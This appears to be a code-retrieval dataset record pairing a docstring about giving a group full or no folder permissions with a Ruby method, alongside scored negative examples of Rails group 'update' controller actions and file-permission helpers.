"def update\n @record_group = RecordGroup.find(params[:id])\n @record_group.accessible = :all if admin?\n respond_to do |format|\n if @record_group.update_attributes(params[:record_group])\n flash[:notice] = 'RecordGroup was successfully updated.'\n format.html { redirect_to(@record_group) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @record_group.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @group = Group.find(params[:id])\n authorize @group, :update?\n respond_to do |format|\n if @group.update_attributes(permitted_params)\n format.html { redirect_to(@group, :notice => 'Group was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @group.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n if (user_signed_in? && ([2].include?(current_user.role)))\n @cultural_heritage_group = CulturalHeritage::Group.find(params[:id])\n @title_view = 'Grupos'\n respond_to do |format|\n if @cultural_heritage_group.update_attributes(params[:cultural_heritage_group])\n format.html { redirect_to(@cultural_heritage_group, :notice => 'Se ha actualizado correctamente el grupo.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @cultural_heritage_group.errors, :status => :unprocessable_entity }\n end\n end\n else\n respond_to do |format|\n format.html { redirect_to(new_user_session_path) }\n end\n end\n end",
"def edit\n @group = Group.find_by_id params[:id]\n end",
"def edit\n @group = Group.find(params[:id])\n end",
"def update\n respond_to do |format|\n if @group.update(group_params)\n format.html { redirect_to @group, notice: 'Le groupe a été modifié.' }\n format.json { render :show, status: :ok, location: @group }\n else\n format.html { render :edit }\n format.json { render json: @group.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n\n respond_to do |format|\n if @group.update_attributes(group_params)\n format.html { redirect_to @group.becomes(Group), notice: 'Group was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @group.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @ail_group = AilGroup.find(params[:id])\n\n respond_to do |format|\n if @ail_group.update_attributes(params[:ail_group])\n flash[:notice] = 'AilGroup was successfully updated.'\n format.html { redirect_to(@ail_group) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @ail_group.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n # @event is already loaded and authorized\n # @event = Event.find(params[:id])\n @groups = Group.all\n\n @event.group = Group.find(params[:event][:group_id]) if !params[:event][:group_id].blank?\n\n respond_to do |format|\n if @event.update_attributes(params[:event])\n format.html { redirect_to events_path, notice: 'Event was successfully updated.' }\n else\n format.html { render action: \"edit\" }\n end\n end\n end",
"def update\n @polco_group = PolcoGroup.find(params[:id])\n @polco_group.title = \"#{params[:polco_group][:name]}_custom\" \n\n respond_to do |format|\n if @polco_group.update_attributes(params[:group])\n format.html { redirect_to(@polco_group, :notice => 'PolcoGroup was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @polco_group.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @giving_group = GivingGroup.find(params[:id])\n\n respond_to do |format|\n if @giving_group.update_attributes(params[:giving_group])\n flash[:notice] = 'GivingGroup was successfully updated.'\n format.html { redirect_to(@giving_group) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @giving_group.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @group_of_task = GroupOfTask.find(params[:id])\n\n respond_to do |format|\n if @group_of_task.update_attributes(params[:group_of_task])\n flash[:notice] = 'GroupOfTask was successfully updated.'\n format.html { redirect_to(@group_of_task) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @group_of_task.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @group = Group.find_by_guid(params[:id])\n respond_to do |format|\n if @group.update_attributes(update_params)\n format.html { redirect_to @group, notice: 'Group was successfully updated.' }\n format.json { render json: @group }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @group.errors, status: :unprocessable_entity }\n end\n end\n end",
"def edit\n @group = Group.find(params[:id])\n end",
"def update\n respond_to do |format|\n if @group.update(group_params)\n audit(@group, \"update\", @group.name)\n format.html { redirect_to group_path(@group), notice: 'Group was successfully updated.' }\n format.json { render :show, status: :ok, location: @group }\n else\n format.html { render :edit }\n format.json { render json: @group.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n authorize! :update, @group\n @group.creator = current_user\n respond_to do |format|\n if @group.update(group_params)\n format.html { redirect_to @group, notice: 'Group was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @group.errors, status: :unprocessable_entity }\n end\n end\n end",
"def edit_ad_groups\n render partial: \"user_groups/ad_groups_form\",\n locals: { user_group: @user_group }\n end",
"def update\n respond_to do |format|\n if @group.update(group_params)\n format.html { redirect_to @group, notice: 'Group was successfully updated.' }\n format.json { render :show, status: :ok, location: @group }\n else\n format.html { render :edit }\n format.json { render json: @group.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @group.update(group_params)\n format.html { redirect_to @group, notice: 'Group was successfully updated.' }\n format.json { render :show, status: :ok, location: @group }\n else\n format.html { render :edit }\n format.json { render json: @group.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @group.update(group_params)\n format.html { redirect_to @group, notice: 'Group was successfully updated.' }\n format.json { render :show, status: :ok, location: @group }\n else\n format.html { render :edit }\n format.json { render json: @group.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @group.update(group_params)\n format.html { redirect_to @group, notice: 'Group was successfully updated.' }\n format.json { render :show, status: :ok, location: @group }\n else\n format.html { render :edit }\n format.json { render json: @group.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @group.update(group_params)\n format.html { redirect_to @group, notice: 'Group was successfully updated.' }\n format.json { render :show, status: :ok, location: @group }\n else\n format.html { render :edit }\n format.json { render json: @group.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @group.update(group_params)\n format.html { redirect_to @group, notice: 'Group was successfully updated.' }\n format.json { render :show, status: :ok, location: @group }\n else\n format.html { render :edit }\n format.json { render json: @group.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @group.update(group_params)\n format.html { redirect_to @group, notice: 'Group was successfully updated.' }\n format.json { render :show, status: :ok, location: @group }\n else\n format.html { render :edit }\n format.json { render json: @group.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @group.update(group_params)\n format.html { redirect_to @group, notice: 'Group was successfully updated.' }\n format.json { render :show, status: :ok, location: @group }\n else\n format.html { render :edit }\n format.json { render json: @group.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @group.update(group_params)\n format.html { redirect_to @group, notice: 'Group was successfully updated.' }\n format.json { render :show, status: :ok, location: @group }\n else\n format.html { render :edit }\n format.json { render json: @group.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @group.update(group_params)\n format.html { redirect_to @group, notice: 'Group was successfully updated.' }\n format.json { render :show, status: :ok, location: @group }\n else\n format.html { render :edit }\n format.json { render json: @group.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @group.update(group_params)\n format.html { redirect_to @group, notice: 'Group was successfully updated.' }\n format.json { render :show, status: :ok, location: @group }\n else\n format.html { render :edit }\n format.json { render json: @group.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @group.update(group_params)\n format.html { redirect_to @group, notice: 'Group was successfully updated.' }\n format.json { render :show, status: :ok, location: @group }\n else\n format.html { render :edit }\n format.json { render json: @group.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @add_to_group = AddToGroup.find(params[:id])\n\n respond_to do |format|\n if @add_to_group.update_attributes(params[:add_to_group])\n format.html { redirect_to(@add_to_group, :notice => 'Add to group was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @add_to_group.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @request_group.update(request_group_params)\n format.html { redirect_to @request_group, \n\t\t\t\t\t\t\t\t\t\t\tnotice: 'Request group was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @request_group.errors, \n\t\t\t\t\t\t\t\t\t\t\tstatus: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @group.update_attributes(params[:group])\n flash[:notice] = 'Group was successfully updated.'\n format.html { redirect_to((current_user and current_user.is_site_admin? and current_user != @group.users.owners.first) ? by_user_groups_path(:user_id => @group.users.owners.first.id) : groups_path) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @group.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update_group(group, attributes)\n group.update(attributes)\n end",
"def update\n @field_group = FieldGroup.find(params[:id])\n @field_group.update_attributes(field_group_params)\n\n respond_with(@field_group)\n end",
"def update\n @group = WorkGroup.find(params[:id])\n\n respond_to do |format|\n if @group.update_attributes(params[:group])\n flash[:notice] = 'Group was successfully updated.'\n format.html { redirect_to(@group) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @group.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @group.update(group_params)\n format.html { redirect_to @group, notice: I18n.t(:group_update) }\n format.json { render :show, status: :ok, location: @group }\n else\n flash[:alert] = @group.errors.full_messages.to_sentence\n format.html { render :edit }\n format.json { render json: @group.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @group = Group.find(params[:group_id])\n @survey = Survey.find(params[:id])\n if @survey.update_attributes(params[:survey])\n redirect_to group_survey_url(@group, @survey)\n else\n render :action => \"edit\"\n end\n end",
"def update\n @reagent_group = ReagentGroup.find(params[:id])\n\n respond_to do |format|\n if @reagent_group.update_attributes(params[:reagent_group])\n format.html { redirect_to @reagent_group, notice: 'Reagent group was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @reagent_group.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @group.update(group_params)\n format.html { redirect_to [@group], notice: 'group was successfully updated.' }\n format.json { render :show, status: :ok, location: [@group] }\n else\n format.html { render :edit }\n format.json { render json: @group.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @group = Group.find(params[:id])\n\n respond_to do |format|\n if @group.update_attributes(params[:group])\n format.html { redirect_to params[:back_to], notice: 'Group was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @group.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @group = Group.find(params[:id])\n\n respond_to do |format|\n if @group.update_attributes(params[:group])\n flash[:success] = \"Группа успешно отредактирована.\"\n format.html { redirect_to @group }\n format.json { head :no_content }\n else\n flash.now[:error] = \"Введены некорректные данные!\"\n format.html { render action: \"edit\" }\n format.json { render json: @group.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n begin\n UserGroup.transaction do\n # Process input from the various edit modals.\n build_ad_groups\n build_users\n build_hosts\n build_departments\n build_email_patterns\n @user_group.update!(user_group_params)\n end\n rescue => e\n render partial: \"shared/validation_messages\",\n locals: { object: @user_group.errors.any? ? @user_group : e },\n status: :bad_request\n else\n toast!(title: \"User group updated\",\n message: \"The user group \\\"#{@user_group.name}\\\" has been updated.\")\n render \"shared/reload\"\n end\n end",
"def update\n respond_to do |format|\n if @group.update(group_params)\n format.html { redirect_to @group, notice: 'Группа обновлена!' }\n format.json { render :show, status: :ok, location: @group }\n else\n format.html { render :edit }\n format.json { render json: @group.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n redirect_to :action => :index and return unless is_owner?\n respond_to do |format|\n if @group.update(group_params)\n format.html { redirect_to @group, notice: 'Group was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @group.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @group.update(group_params)\n respond_with(@group)\n end",
"def update\n @groupaddrobj = Groupaddrobj.find(params[:id])\n\n respond_to do |format|\n if @groupaddrobj.update_attributes(params[:groupaddrobj])\n format.html { redirect_to @groupaddrobj, notice: 'Groupaddrobj was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @groupaddrobj.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\r\n respond_to do |format|\r\n if @agroup.update(agroup_params)\r\n format.html { redirect_to @agroup, notice: 'Agroup was successfully updated.' }\r\n format.json { head :no_content }\r\n else\r\n format.html { render action: 'edit' }\r\n format.json { render json: @agroup.errors, status: :unprocessable_entity }\r\n end\r\n end\r\n end",
"def update\n respond_to do |format|\n if @collection_group.update(collection_group_params)\n format.html { redirect_to @collection_group, notice: 'Collection group was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @collection_group.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @group = Group.find(params[:id])\n @group.name = params[:group][:name]\n @group.set_members(params[:member])\n\n if @group.save\n redirect_to root_path\n else\n render 'edit'\n end\n end",
"def update\n newparam= checker()\n respond_to do |format|\n if @group.update(newparam)\n format.html { redirect_to @group, notice: 'Group was successfully updated.' }\n format.json { render :show, status: :ok, location: @group }\n else\n format.html { render :edit }\n format.json { render json: @group.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @entry = Entry.find(params[:id])\n\n if (a = params.delete(:group))\n params[:entry][:group_id] = set_group(a)\n end\n\n respond_to do |format|\n if @entry.update_attributes(params[:entry])\n format.html { 'Entry was successfully updated.' }\n format.json { head :ok }\n else\n format.html { 'Foo' }\n format.json { render json: @entry.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @group = GROUP.first_or_get!(params[:id])\n @group.current_user = current_user\n\n @group.update_children((params[:group] || {}).delete(:locales), :locale)\n\n respond_to do |format|\n if @group.update(params[:group]) or not @group.dirty?\n flash[:notice] = 'Group was successfully updated.'\n format.html { redirect_to(group_url(@group.id)) }\n format.xml { render :xml => @group }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @group.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @objectgrouptoobjectgroup = Objectgrouptoobjectgroup.find(params[:id])\n\n respond_to do |format|\n if @objectgrouptoobjectgroup.update_attributes(params[:objectgrouptoobjectgroup])\n flash[:notice] = 'Objectgrouptoobjectgroup was successfully updated.'\n format.html { redirect_to(@objectgrouptoobjectgroup) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @objectgrouptoobjectgroup.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @group_user = @parent.find(params[:id]) #get the record\n\n respond_to do |format|\n if @group_user.update_attributes(params[:group_user])\n format.html { redirect_to(@group, :notice => 'Group user was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @group_user.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n\n respond_to do |format|\n if @expense_group.update_attributes(expense_group_params)\n format.html { redirect_to @expense_group, notice: 'Expense group was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @expense_group.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @users = User.where(\"owner_id = ?\", current_user).order('lastname ASC')\n @group = current_user.groups.find(params[:id])\n if @group.update_attributes(group_params)\n flash[:green] = \"Asset was successfully updated.\"\n redirect_to @group\n else\n render :edit\n end\n end",
"def update\n respond_to do |format|\n if @group_request.update(group_request_params)\n format.html { redirect_to @group_request, notice: 'Group request was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @group_request.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n flash[:notice] = 'The recipe group was successfully modified.' if recipe_group.update_attributes(params[:recipe_group])\n respond_with(recipe_group, :location => profession_path(profession))\n end"
] | [
"0.7287",
"0.7223447",
"0.7210886",
"0.72051936",
"0.71970314",
"0.7161159",
"0.71265924",
"0.7118602",
"0.71112645",
"0.7110874",
"0.7089008",
"0.70814675",
"0.70614135",
"0.70583236",
"0.70360976",
"0.70271057",
"0.70271057",
"0.7004795",
"0.70030385",
"0.7002753",
"0.69984144",
"0.69980556",
"0.69977504",
"0.69943464",
"0.69943464",
"0.69943464",
"0.69943464",
"0.69943464",
"0.69943464",
"0.6972728",
"0.6972728",
"0.69652444",
"0.69652444",
"0.69652444",
"0.69652444",
"0.6963493",
"0.6963493",
"0.6963493",
"0.6958805",
"0.6952051",
"0.694589",
"0.69418126",
"0.6937277",
"0.693136",
"0.69215584",
"0.6914595",
"0.6905109",
"0.69018096",
"0.68925846",
"0.6889584",
"0.6887024",
"0.68835753",
"0.68763995",
"0.6870056",
"0.6867181",
"0.6865592",
"0.68621695",
"0.6861262",
"0.6849592",
"0.68466157",
"0.68466157",
"0.68466157",
"0.68466157",
"0.68466157",
"0.68466157",
"0.68466157",
"0.68466157",
"0.68466157",
"0.68466157",
"0.68466157",
"0.68466157",
"0.6845578",
"0.68396264",
"0.6833728",
"0.6807451",
"0.67984766",
"0.6778862",
"0.67786115",
"0.6777418",
"0.6777115",
"0.6772164",
"0.6771087",
"0.6763879",
"0.67562246",
"0.6748392",
"0.6738282",
"0.67378944",
"0.67341954",
"0.67319334",
"0.67304826",
"0.67295605",
"0.6727359",
"0.6719405",
"0.670403",
"0.67018",
"0.6700896",
"0.66982615",
"0.6690364",
"0.6688183",
"0.6686826"
] | 0.6952359 | 39 |
Give the given group either ALL or NO permissions to all the folders | def give_permissions_to_folders(group, permission_to_everything)
Folder.find(:all).each do |folder|
add_to_group_permissions(group, folder, permission_to_everything)
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def folder_permissions_groups_only\n @attributes[:folder_permissions_groups_only]\n end",
"def add_to_group_permissions(group, folder, permission_to_everything)\n group_permission = GroupPermission.new\n group_permission.folder = folder\n group_permission.group = group\n group_permission.can_create = permission_to_everything\n group_permission.can_read = permission_to_everything\n group_permission.can_update = permission_to_everything\n group_permission.can_delete = permission_to_everything\n group_permission.save\n end",
"def add_group_permission(g)\n\t\t\n\tend",
"def create\n if request.post?\n @group = Group.new(params[:group])\n\n if @group.save\n # give the new group permissions to the folders\n give_permissions_to_folders(@group, params[:permission_to_everything][:checked] == 'yes' ? true : false)\n\n redirect_to :action => 'list'\n else\n render :action => 'new'\n end\n end\n end",
"def set_perms(data)\n permission = data[:permission] || 2 \n result = @client.api_request(\n :method => \"usergroup.massAdd\", \n :params => {\n :usrgrpids => [data[:usrgrpid]],\n :rights => data[:hostgroupids].map { |t| {:permission => permission, :id => t} }\n }\n )\n result ? result['usrgrpids'][0].to_i : nil\n end",
"def deny_all_access\n @permissions = 0\n end",
"def chg_permission(groups, arg, mode)\n arg = UserGroup.one_user(arg) if arg.is_a?(User)\n if (mode == :add) &&\n groups.exclude?(arg)\n groups.push(arg)\n elsif (mode == :remove) &&\n groups.include?(arg)\n groups.delete(arg)\n end\n end",
"def groups\n g = File.join(@root,'groups')\n FileUtils.mkdir_p g\n Dir.chdir(File.join(@root,'groups')) do\n Dir['*']\n end\n end",
"def chown_r(user, group, options={})\n #list = list.to_a\n fileutils.chown_r(user, group, list, options)\n end",
"def update_permissions\r\n if request.post? and @logged_in_user.is_admin?\r\n # update the create, read, update, delete right for this folder:\r\n update_group_permissions(folder_id, params[:create_check_box], 'create', params[:update_recursively][:checked] == 'yes' ? true : false)\r\n update_group_permissions(folder_id, params[:read_check_box], 'read', params[:update_recursively][:checked] == 'yes' ? true : false)\r\n update_group_permissions(folder_id, params[:update_check_box], 'update', params[:update_recursively][:checked] == 'yes' ? true : false)\r\n update_group_permissions(folder_id, params[:delete_check_box], 'delete', params[:update_recursively][:checked] == 'yes' ? true : false)\r\n end\r\n\r\n # Return to the folder\r\n redirect_to :action => 'list', :id => folder_id\r\n end",
"def change_group!\n tgt_gid = self.target_group.is_a?(Fixnum) ? self.target_group : Etc.getgrnam(self.target_group).gid\n chown_params = [nil, tgt_gid, self.target]\n\n if(File.symlink?(self.target) && (self.no_follow == 'both' || self.no_follow == 'chown'))\n File.lchown *chown_params\n elsif(self.stat(:ftype) == 'directory' && (self.recursive == 'both' || self.recursive == 'chown'))\n #DOcumenation for FileUtils.chown_R is wrong (at least for Ubuntu 8.1, takes ID as String.)\n chown_params[1] = chown_params[1].to_s\n FileUtils.chown_R *chown_params\n else\n File.chown *chown_params\n end\n rescue NotImplementedError => ex\n WarningShot::PermissionResolver.logger.error(\"lchown is not implemented on this machine, (disable nofollow).\")\n return false\n rescue Exception => ex\n WarningShot::PermissionResolver.logger.error(\"Unable to change group for file: #{self.target}; Exception: #{ex.message}\")\n return false\n end",
"def manage_group\n member_options = set_members_options\n if member_options.empty?\n shell_out!(\"pw\", \"groupmod\", set_options)\n else\n member_options.each do |option|\n shell_out!(\"pw\", \"groupmod\", set_options, option)\n end\n end\n end",
"def add_permission group, acl\n modify_permission(group, acl) { |perm|\n [perm.acl.to_s.split(\"\"), acl.split(\"\")].flatten.map(&:strip).\n uniq.sort.join\n }\n end",
"def chown(user_and_group)\n return unless user_and_group\n user, group = user_and_group.split(':').map {|s| s == '' ? nil : s}\n FileUtils.chown user, group, selected_items.map(&:path)\n ls\n end",
"def custom_permissions\n if user_groups.include?(\"admin\")\n can :manage, :all\n end\n end",
"def manage_group\n shell_out!(\"groupmod\", set_options)\n modify_group_members\n end",
"def check_or_create_group_dirs\n change_dir(@working_directory)\n @config[:groups].each do |key, value|\n if value[:enable]\n Dir.mkdir(value[:name].downcase) unless Dir.exists?(value[:name].downcase) \n end \n end\n return Dir.glob('*').select { |f| File.directory? f }\n end",
"def authorize_for_group(group, actions=Permissions::View)\n authorize_for_user(nil, group, actions)\n end",
"def action_chgrp\n if @tgroup == nil\n Chef::Log::fatal \"target group need to be provided to perform chgrp\"\n elsif (!dir_exists?(@path))\n Chef::Log::info(\"Directory #{ @path } doesn't exist; chmod action not taken\")\n else\n converge_by(\"chgrp #{ @new_resource }\") do\n @client.chown(@path, 'group' => @tgroup)\n end\n new_resource.updated_by_last_action(true)\n end\n end",
"def define_im_folder_permission\n case new_resource.im_install_mode\n when 'admin'\n im_folder_permission = '755'\n im_folder_permission\n when 'nonAdmin', 'group'\n im_folder_permission = '775'\n im_folder_permission\n end\nend",
"def define_im_folder_permission\n case new_resource.im_install_mode\n when 'admin'\n im_folder_permission = '755'\n im_folder_permission\n when 'nonAdmin', 'group'\n im_folder_permission = '775'\n im_folder_permission\n end\nend",
"def chown_R(user, group, list, noop: nil, verbose: nil, force: nil)\n list = fu_list(list)\n fu_output_message sprintf('chown -R%s %s %s',\n (force ? 'f' : ''),\n (group ? \"#{user}:#{group}\" : user || ':'),\n list.join(' ')) if verbose\n return if noop\n uid = fu_get_uid(user)\n gid = fu_get_gid(group)\n list.each do |root|\n Entry_.new(root).traverse do |ent|\n begin\n ent.chown uid, gid\n rescue\n raise unless force\n end\n end\n end\n end",
"def chown(user, group, options={})\n #list = list.to_a\n fileutils.chown(user, group, list, options)\n end",
"def chown_r(user, group)\n util.chown_r(user, group, path)\n end",
"def apply_group_permissions(permission_types, ability = current_ability)\n groups = ability.user_groups\n return [] if groups.empty?\n permission_types.map do |type|\n field = solr_field_for(type, 'group')\n user_groups = type == 'read' ? groups - [::Ability.public_group_name, ::Ability.registered_group_name] : groups\n next if user_groups.empty?\n \"({!terms f=#{field}}#{user_groups.join(',')})\" # parens required to properly OR the clauses together.\n end\n end",
"def setable_permissions\n setable_permissions = Erp::AccessControl.permissions - Erp::AccessControl.public_permissions\n setable_permissions -= Erp::AccessControl.members_only_permissions if builtin == BUILTIN_NON_MEMBER\n setable_permissions -= Erp::AccessControl.loggedin_only_permissions if builtin == BUILTIN_ANONYMOUS\n setable_permissions\n end",
"def update_group_permissions(folder_id_param, group_check_box_list, field, recursively)\r\n # iteratively update the GroupPermissions\r\n group_check_box_list.each do |group_id, can_do_it|\r\n # get the GroupPermissions\r\n group_permission = GroupPermission.find_by_group_id_and_folder_id(group_id, folder_id_param)\r\n\r\n # Do the actual update if the GroupPermission exists;\r\n # do not update the permissions of the admins group\r\n # (it should always be able to do everything)\r\n unless group_permission.blank? or group_permission.group.is_the_administrators_group?\r\n case field\r\n when 'create':\r\n group_permission.can_create = can_do_it\r\n when 'read':\r\n group_permission.can_read = can_do_it\r\n when 'update':\r\n group_permission.can_update = can_do_it\r\n when 'delete':\r\n group_permission.can_delete = can_do_it\r\n end\r\n group_permission.save\r\n end\r\n end\r\n\r\n # The recursive part...\r\n if recursively\r\n # Update the child folders\r\n folder = Folder.find_by_id(folder_id_param)\r\n if folder\r\n folder.children.each do |child_folder|\r\n update_group_permissions(child_folder.id, group_check_box_list, field, true)\r\n end\r\n end\r\n end\r\n end",
"def custom_permissions\n # Limits deleting objects to a the admin user\n #\n # if current_user.admin?\n # can [:destroy], ActiveFedora::Base\n # end\n\n # Limits creating new objects to a specific group\n\n if user_groups.include? ['all_project_writers']\n can [:create], PulStore::Base\n can [:create], PulStore::Lae::Box\n can [:create], PulStore::Lae::Folder\n can [:create], Pulstore::Lae::HardDrive\n end\n\n if user_groups.include? ['lae_project_writers']\n can [:create], PulStore::Lae::Box\n can [:create], PulStore::Lae::Folder\n can [:create], Pulstore::Lae::HardDrive\n end \n\n if user_groups.include? ['all_project_writers']\n can [:destroy], PulStore::Base\n end\n\n if user_groups.include? ['lae_project_readers', 'all_project_readers' ]\n can [:show], PulStore::Base\n end\n end",
"def set_perms_dirs(dir_path, perm = 755)\n try_sudo \"find #{dir_path} -type d -exec chmod #{perm} {} \\\\;\"\nend",
"def can_manage_group?(project, group)\n group.is_child_of?(project)\n end",
"def may_read_group?(group)\n\t\t\tmay_administrate? || is_group_reader?(group)\n\t\tend",
"def create_user_permissions\n group.users.each do |user|\n create_permission_for(user)\n end\n end",
"def may_update_group?(group)\n\t\t\tmay_administrate? || is_group_moderator?(group)\n\t\tend",
"def may_not(*args)\n p = permissions.for(args.pop).first\n return Authorize::Permission::Mask[] unless p\n p.mask -= Authorize::Permission::Mask[*args].complete\n p.mask.empty? ? p.destroy : p.save\n p.mask.complete\n end",
"def define_global_privileges\n can :read, Project, public_can_view?: true\n can :index, Project\n can :read, Group\n end",
"def discover_groups\n super << Hydra::AccessControls::AccessRight::PERMISSION_TEXT_VALUE_AUTHENTICATED\n end",
"def authorize_manageable\n unless @project_group.is_child_of?(@project)\n deny_access\n end\n true\n end",
"def index\n @group_repo_permissions = GroupRepoPermission.all\n end",
"def perms_for(pathname, options = {})\n if @permissions.nil?\n @permissions = {}\n# find root name and get all rules, that are for descendent of root.\n# There can be more than one root, because each site can have its own root\n root = pathname.root.to_s.sub(Rails.root.join('public').to_s,'')\n DcFolderPermission.where(folder_name: /#{root}*/).sort(folder_name: 1).each do |permission|\n folder = permission.folder_name.sub(root,'')\n folder.gsub!(/^\\/|\\/$/, '')\n# root is always ., remove leading and trailing /\n folder = '.' if folder.blank?\n# no rights by default. \n h = {read: false, write: false, rw: false, inherited: permission.inherited}\n# go through policy_rules and set rights if role matches rules role \n permission.dc_policy_rules.each do |r|\n @options[:user_roles].each do |role|\n next unless role == r.dc_policy_role_id\n h[:read] ||= r.permission > 0\n h[:write] ||= r.permission > 1\n h[:rw] ||= r.permission > 8\n end\n @permissions[folder] = h \n end\n end\n end\n# create response. First check for defaults of root folder\n response = {}\n response[:read] = pathname.exist? && @permissions['.'][:read]\n response[:write] = pathname.exist? && @permissions['.'][:write]\n response[:rm] = !pathname.is_root? && @permissions['.'][:rw]\n dir = ''\n# go through every subfolder part. Policy is: if right has been revoked on \n# parent folder it can't be set on child unless inherited is false.\n pathname.path.to_s.split('/').each do |path|\n dir << (dir.size > 0 ? '/' : '') + path\n pe = @permissions[dir]\n next if pe.nil? # ignore if not set\n if pe[:inherited]\n response[:read] &&= pe[:read]\n response[:write] &&= pe[:write]\n response[:rm] &&= pe[:rw]\n else\n response[:read] = pe[:read]\n response[:write] = pe[:write]\n response[:rm] = pe[:rw]\n end \n end\n response[:hidden] = false\n response\nend",
"def chown(user, group, list, noop: nil, verbose: nil)\n list = fu_list(list)\n fu_output_message sprintf('chown %s %s',\n (group ? \"#{user}:#{group}\" : user || ':'),\n list.join(' ')) if verbose\n return if noop\n uid = fu_get_uid(user)\n gid = fu_get_gid(group)\n list.each do |path|\n Entry_.new(path).chown uid, gid\n end\n end",
"def grant_role_assignments_to_group_members_if_needed\n return unless entity.type == 'Group'\n\n Rails.logger.tagged \"RoleAssignment #{id}\" do\n entity.members.each do |m|\n logger.info \"Granting role (#{role.id}, #{role.token}, #{role.application.name}) just granted to group (#{entity.id}/#{entity.name}) to its member (#{m.id}/#{m.name})\"\n ra = RoleAssignment.new\n ra.role_id = role.id\n ra.entity_id = m.id\n ra.parent_id = id\n ra.save!\n end\n end\n end",
